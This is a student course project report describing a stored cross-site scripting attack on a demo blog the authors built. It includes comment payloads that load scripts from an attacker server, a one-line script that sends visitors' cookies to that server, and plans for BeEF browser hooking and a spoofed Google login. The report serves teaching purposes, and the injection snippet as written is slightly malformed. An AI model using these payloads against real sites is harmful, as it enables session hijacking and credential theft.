

# Computer Security Project 2

Khoi Nguyen, Temuulen Nyamdavaa, Hayden Leatherwood

Wednesday April 26, 2023

## Part I

### Summary

Cross-Site Scripting, known as XSS, is a type of security vulnerability that allows attackers to inject malicious code into a web page that is viewed by others to steal sensitive information such as passwords and credit card details, or even take control of a victim's browser session. Our attack relies on a form of XSS called stored XSS which works by injecting JavaScript code directly into a website or database. This will make our attack reach a larger audience as it makes anyone who visits the website vulnerable.

We will inject our scripts into a blogging site through the comments section; these scripts will include a session ID stealer and a hook script. The session ID stealer script will be hosted on a Python SimpleHTTPServer and will grab the session ID of the victim which can then be used to access their account through cookie manipulation.<sup>1</sup> The hook script is part of the Browser Exploitation Framework (BeEF) and allows us to "hook" into the victim's browser, giving us access to all their information and allowing us to deploy other, more targeted attacks.<sup>2</sup>

### Objective

The objective behind our attack is three-fold:

1. Successfully host our scripts and inject them into our blogging website via a comment,
2. Steal the victim's session ID through our Python SimpleHTTPServer, and
3. Hook the victim's browser and gain other credentials through a spoofed login site using BeEF.

The point behind stealing the session ID is that it is unique to the user. Session IDs are often stored in the cookies, making them an easy target to not only steal, but to manipulate as well. Once we steal the victim's session ID, the objective is to use cookie manipulation to gain access to the victim's account.

In addition, hooking the victim's browser through BeEF is much more advantageous. The idea is that once we hook into the browser, we have access to not only loads of personally identifying information, but also have the ability to launch a myriad of attacks from BeEF. Once hooked, the objective is to launch a spoofing attack to steal the victim's credentials to a higher-value site such as Google. The spoofed site will allow us access to their credentials through BeEF, which would let us access their Google account. Considering that the vast majority of other accounts are linked to your Google account, the victim's credentials could be used to access almost any of their other accounts.

### Methodology

Our attack relies primarily on stored XSS and the use of the Browser Exploitation Framework (BeEF). Stored XSS is a form of XSS where some data is stored in a database or on a site without being sanitized. This form of XSS is especially wide-reaching, as this means that everyone who visits the site or uses the database can be vulnerable.

A well-known example of a stored XSS attack that impacted millions of people was the Samy worm on MySpace.<sup>3</sup> This attack was crafted by Samy Kamkar, a security researcher who created the attack in order to get around MySpace's strict site design restrictions. This attack was especially well crafted, as MySpace blocked the use of many different HTML tags, forcing Samy to utilize a long and complex `div` object with his code embedded. Our XSS attack will utilize a simpler method of injection. Our script will be embedded

within an `img` tag's `onerror` attribute. The `img` tag will have no `src` attribute and thus will execute the `onerror` function containing our script. This script will be hosted on a Python SimpleHTTPServer, allowing us to grab the victim's cookies and send them back to our server.

In addition to using stored XSS, we will also be implementing BeEF's `hook.js` script in order to "hook" into the victim's browser. The hook script utilizes a tool in BeEF called XSS Rays.<sup>4</sup> XSS Rays allows researchers to determine if a site is vulnerable to XSS attacks by injecting a script into a given site; if the script is executed on the site, XSS Rays lets us know by contacting BeEF's servers and we then know that site is vulnerable to XSS. Afterward, we are hooked into the site which not only gives us access to vast amounts of browser information, but also lets us deploy more attacks directly to the victim's browser through BeEF. Included in these possible attacks are spoofing attacks, which deploy a fake login screen of a big-name site such as Google to the victim's computer; if they log in to the site, their credentials are sent back to us through BeEF.

## Technology Used

In order to implement the attack, the following tools and assets are required:

- HTML, CSS, and JavaScript, to create a demo blogging website for the XSS attack as well as the XSS attack itself.
  - Stored XSS attacks work by injecting JavaScript directly into the site or the database; these scripts will be engineered to steal the victim's cookies and personal information.
  - JavaScript will not execute by itself when injected into a site; HTML tags are used to circumvent this and will allow us to deliver our script embedded in the `onerror` attribute of an `img` tag.
  - While not used directly in the XSS attack, CSS is required as it formats and hides the script on the site, making it hidden from outside viewers.
- Cookies will be stolen from the victim to gain access to the victim's personal information such as usernames, passwords, and session IDs.
- Cookie manipulation through a browser will let us hijack the victim's account by using their session ID; by changing the stored session ID within the browser's cookies from ours to the victim's, we will gain access to their account without having to log in.
- A Python SimpleHTTPServer will be used to host our scripts, allowing us to inject local scripts into the vulnerable site.
- The Browser Exploitation Framework (BeEF) will be used to hook into the victim's browser, giving us access to all their browser information and allowing us to deploy more targeted attacks.

## Walkthrough

Using HTML, CSS, and JavaScript, we have created a blog website to demonstrate our XSS attack. This local site we are using implements some of the same mistakes that make other sites vulnerable to XSS attacks. The idea is that we can inject malicious JavaScript code into the site that will run when other people visit the site. This can then be used to steal cookies, login information, and other sensitive browser information.

In our case, we created a blogging site that allows for comments on the article:

Morbi venenatis varius urna efficitur tincidunt. Suspendisse dolor mi, congue eget commodo ac, congue quis odio. Sed neque elit, tempor ac tempus convallis, posuere feugiat ex. Duis ut nulla sem. Maecenas ultrices feugiat lacus, sit amet commodo tellus porttitor ac. Proin non mauris id est laoreet sodales. Curabitur ut purus lacus. Duis laoreet velit ac risus gravida aliquet. Sed nisi nibh, tempus vel cursus in, venenatis nec nulla. Nam mi sapien, rutrum quis arcu quis, sollicitudin ultrices dolor. Praesent at sapien enim. Aliquam erat volutpat. Integer quis nisl iaculis lectus feugiat viverra in et mauris. Fusce interdum eu dui et mattis.



**About the author:** *Hayden Leatherwood is a CSC 430 student and loves cross site scripting (XSS). He is profficient in hacking and especially exploiting XSS vulnerabilities in different blogs.*

Not logged in

Add a comment...

Submit

No comments yet...

Anyone can leave a comment for other users to see. This allows us to craft a special JavaScript payload and inject it into the site via the comment feature:



**About the author:** *Hayden Leatherwood is a CSC 430 student and loves cross site scripting (XSS). He is profficient in hacking and especially exploiting XSS vulnerabilities in different blogs.*

Not logged in

I thought this article was really good!!!

```
<img src onerror="http://127.0.0.1:8080/?xss.js">
<img src onerror="http://192.168.0.106:4444/hook.js">
```

Submit

No comments yet...


This JavaScript payload injects two different malicious scripts into the website. First, the xss.js file is hosted on a Python SimpleHTTPServer, allowing it to be accessed locally and injected into the site. The code is simple in xss.js:

```
document.write("<img src='http://127.0.0.1:8080/?"+document.cookie+"'>");
```

When another user accesses the site, the script will steal their cookies and print them out on our SimpleHTTPServer. These cookies can contain sensitive information such as usernames, passwords, or in our case, the session ID. Grabbing their session ID will allow us to hijack their account easily.

The other script, hook.js, is a hook script from BeEF. When run, this script will give us almost unlimited access to the victim's browser through BeEF; this allows us tons of sensitive browser information as well as some remote access to their browser. With the hook script, BeEF allows us to craft and deploy other attacks straight to the victim's browser; in our case, we will be using this to deploy a spoofing attack where we spoof the Google login page to grab more credentials.

When the comment is submitted, the code is injected into the site discreetly; the final comment does not show the code because it has become part of the site and looks like this:




**About the author:** *Hayden Leatherwood is a CSC 430 student and loves cross site scripting (XSS). He is profficient in hacking and especially exploiting XSS vulnerabilities in different blogs.*

Not logged in

Submit

**Anonymous**  
I thought this article was really good!!!

This comment was posted with an anonymous account; however, when a user who is logged in visits the site, the embedded scripts will run on their end:



**About the author:** *Hayden Leatherwood is a CSC 430 student and loves cross site scripting (XSS). He is profficient in hacking and especially exploiting XSS vulnerabilities in different blogs.*

Logged in as admin

Submit

**Anonymous**  
I thought this article was really good!!!

In this case, the site administrator visits the site while logged in. The scripts will run on their end, exposing their personal and browser information and allowing us to hijack their account with their session ID.

Additionally, we will deploy a spoofed Google login page straight to their browser in hopes of them logging in and exposing their credentials. Additionally, there are infinitely other attack opportunities that could be exploited with the BeEF hook script.

## Future Additions

There are many different avenues that we could take to improve our XSS attack in the future. BeEF alone provides a large variety of attacks that would complement or improve our XSS attack and can be deployed straight from the framework. Out of all these opportunities, the following future additions to our XSS attack would be most advantageous:

- Expanding on the use of BeEF to launch other, more complicated attacks in addition to the XSS and spoofing attacks; these could be any one of the numerous features included with BeEF, including:
  - Information gathering attacks such as browser fingerprinting and deanonymization.
  - Social engineering attacks such as TabNabbing, redirect link hijacking, creating and deploying malicious browser extensions, or other spear-phishing or spoofing attacks.
  - Metasploit-based attacks and Browser AutoPwn.
  - Tunneling through the hooked browser, making it the exit point of a proxy in order to utilize the security context of the hooked browser.
- Expanding our attack to utilize another form of XSS such as DOM-based XSS or reflected XSS in order to craft other, more specialized XSS attacks.
- Adding a JavaScript keylogger which is injected into the vulnerable page through an XMLHttpRequest.

## References

1. Python Software Foundation. SimpleHTTPServer. python.readthedocs.io. Published September 8, 2013. Accessed April 26, 2023. <https://python.readthedocs.io/en/v2.7.2/library/simplehttpserver.html>
2. The Beef Project. The Browser Exploitation Framework Project. Beefproject.com. Published 2018. <https://beefproject.com/>
3. Kamkar S. MySpace Worm Explanation. web.archive.org. Published March 5, 2016. Accessed April 26, 2023. <https://web.archive.org/web/20160305044015/http://samy.pl/popular/tech.html>
4. The Browser Exploitation Framework Project. BeEF Wiki. GitHub. Published December 16, 2019. <https://github.com/beefproject/beef/wiki/>